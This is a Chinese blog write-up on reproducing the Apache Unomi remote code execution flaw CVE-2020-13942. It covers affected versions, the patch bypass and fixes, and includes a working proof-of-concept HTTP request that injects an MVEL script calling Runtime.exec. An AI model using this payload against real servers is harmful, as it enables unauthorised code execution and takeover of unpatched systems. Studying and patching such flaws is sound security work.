Apache Unomi 远程代码执行漏洞CVE -2020-13942如何复现

发布时间:2021-12-29 15:34:49 作者:柒染
来源:亿速云 阅读:137

Apache Unomi 远程代码执行漏洞CVE -2020-13942如何复现,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

CVE -2020-13942 (Apache Unomi 远程代码执行漏洞)

一、漏洞描述:

Apache Unomi是一个Java开源平台,这是一个Java服务器,旨在管理,潜在顾客和访问者的数据,并帮助个性化体验。Unomi可用于在非常不同的系统(例如CMS,CRM,问题跟踪器,本机移动应用程序等)中集成个性化和配置文件管理。

在Apache Unomi 1.5.1版本之前,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,使得Unomi服务器执行任意代码,漏洞对应编号为CVE-2020-11975,而CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码。

二、影响版本:

Apache Unomi < 1.5.2

三、漏洞复现:

访问页面样式

Apache Unomi 远程代码执行漏洞CVE -2020-13942如何复现

POC:

POST/context.jsonHTTP/1.1Host: localhost:8181User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0Content-Length: 486{"filters": [ {"id":"boom","filters": [ {"condition": {"parameterValues": {"":"script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");" },"type":"profilePropertyCondition" } } ] } ],"sessionId":"boom"}

抓包poc执行:

Apache Unomi 远程代码执行漏洞CVE -2020-13942如何复现

查看DNSlog记录:

Apache Unomi 远程代码执行漏洞CVE -2020-13942如何复现

尝试反弹shell:

Apache Unomi 远程代码执行漏洞CVE -2020-13942如何复现

执行反弹shell命令脚本:

获取shell

Apache Unomi 远程代码执行漏洞CVE -2020-13942如何复现

四、修复方案

1、尽可能避免将用户数据放入表达式解释器中。

2、目前厂商已发布最新版本,请受影响用户及时下载并更新至最新版本。官方链接如下:

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

推荐阅读:
  1. Apache ActiveMQ 远程代码执行漏洞 (CVE-
  2. Apache DolphinScheduler高危漏洞CVE-2020-11974及CVE-2020-13922的实例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

unomi

上一篇:jquery如何实现a标签的功能

下一篇:如何解决css中animate不循环的问题

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》